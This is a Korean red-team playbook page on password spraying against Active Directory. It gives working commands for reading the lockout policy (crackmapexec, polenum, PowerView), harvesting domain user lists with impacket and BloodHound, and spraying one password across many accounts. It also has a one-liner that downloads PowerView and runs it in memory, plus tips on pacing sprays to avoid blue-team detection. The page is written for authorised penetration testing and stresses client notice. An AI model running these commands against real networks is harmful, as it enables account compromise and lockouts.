📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • AD 비밀번호 정책 확인
  • 유저 명단 확보
  • 스프레이 공격
  • 레퍼런스
  1. 계정 정보 탈취 (Credential Access)

비밀번호 스프레이 공격

MITRE ATTACK - T1110.003

비밀번호 스프레이 공격은 다수의 유저 계정을 상대로 하나의 비밀번호를 대입해 공격하는 방식이다.

내부망에 진입 후 도메인 유저 계정을 장악했다면 블러드하운드나 내부망 정보 수집을 통해 도메인 유저 명단을 획득할 수 있다. 이 명단을 상대로 비밀번호 스프레이 공격을 시도해볼 수 있다.

모의해커나 레드팀의 경우 다음과 같은 주의사항을 꼭 명심해야한다.

모의해커

  • 액티브 디렉토리 비밀번호 정책 확인

  • 대량의 유저를 상대로 할 경우 고객사 연락책 및 블루팀에게 사전 고지

  • 일괄적으로 스프레이를 하기 보단 특정 숫자로 나눠 공격

레드팀

  • 액티브 디렉토리 비밀번호 정책 확인

  • 스프레이 속도 조절. 속도 조절 실패시 블루팀에게 발각될 확률이 매우 높아짐

  • 하나의 호스트에서 스프레이를 진행하기 보단 여러대 호스트에서 긴 시간 동안 느린 속도로 천천히 스프레이 공격을 실행

모의해커나 레드팀이나 중요한 것은 바로 "액티브 디렉토리 비밀번호 정책 확인"이다. 고객사 3만명의 직원들의 액티브 디렉토리 유저 계정을 모두 잠금한 뒤 화요일 새벽 고객사 연락책에게서 살벌한 전화를 받기 싫다면 말이다.

AD 비밀번호 정책 확인

액티브 디렉토리 비밀번호 정책을 확인하려면 도메인 유저 권한을 갖고 있어야한다. 도메인 컨트롤러를 대상으로 비밀번호 정책을 알아낸다. 계정 잠금 임계점, 임계점 리셋 시간, 계정 잠금 시간 등에 특히 유의한다.

# Crackmapexec 
cme smb <ip/FQDN> -u <user> -p <pass> -d <domain> --pass-pol Pdd

# polenum
polenum '<user>:<pass>'@<ip> --domain choi.local

Powerview 혹은 SharpView 등의 툴을 이용하거나 호스트에 기본 AD 파워쉘 모듈이 있다면 그것을 이용한다.

# Powerview 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1')
(Get-DomainPolicy).SystemAccess

# 기본 AD 파워쉘 모듈 
Get-ADDefaultDomainPasswordPolicy

유저 명단 확보

유저 명단은 어떠한 툴을 이용하던 LDAP을 통해 알아낼 수 있다. 자주 쓰이는 툴들은 블러드하운드, Powerview 등이 있다.

# 블러드하운드 데이터를 이용
jq -r '.data[].Properties.name' 20220614000557_users.json

# impacket GetADUsers
impacket-GetADUsers <domain>/'<user>:<pass>' -all -dc-ip <ip>
impacket-GetADUsers choi.local/'low:Password123!' -all -dc-ip 192.168.40.150
impacket-GetADUsers choi.local/'low:Password123!' -all -dc-ip 192.168.40.150 | grep -i 2022 | cut -d ' ' -f 1 | sort -fuV  > users.txt
# Powerview 
(Get-DomainUser).name

스프레이 공격

도메인 비밀번호 정책, 계정 잠금 임계점, 계정 잠금 시간등을 확인한 뒤 스프레이 공격을 실행한다. 예를 들어 임계점이 5번이고 임계점 리셋 시간이 2시간이라면 2시간 마다 1~2개의 비밀번호를 스프레이한다. 그 이유는 실제로 직원들이 자신의 계정을 이용하다 비밀번호를 잘못 입력할수도 있고, 다른 변수들도 존재하기 때문이다.

도메인 비밀번호 정책을 모르며 10,000명 이상의 큰 네트워크를 상대로 스프레이 공격을 진행한다면 8시간 마다 1개의 비밀번호를 시도하는 것을 추천한다. 다만, 실행하기 전 고객사에게 연락해 사전 허락을 맡는다.

# CrackMapExec
cme smb <ip/FQDN> -u <유저-파일> -p <pass> -d <domain> --no-bruteforce --continue-on-success
cme smb 192.168.40.150 -u users.txt -p 'Password123!' -d <domain> --no-bruteforce --continue-on-success

레퍼런스

PreviousAS-Rep RoastingNextLLMNR/NBT-NS 포이즈닝

Last updated 2 years ago

🎭
Trimarc Research: Detecting Password Spraying with Security Event AuditingTrimarc Content Hub
Logo
Active Directory Password Spray AttackElli Shlomo
Logo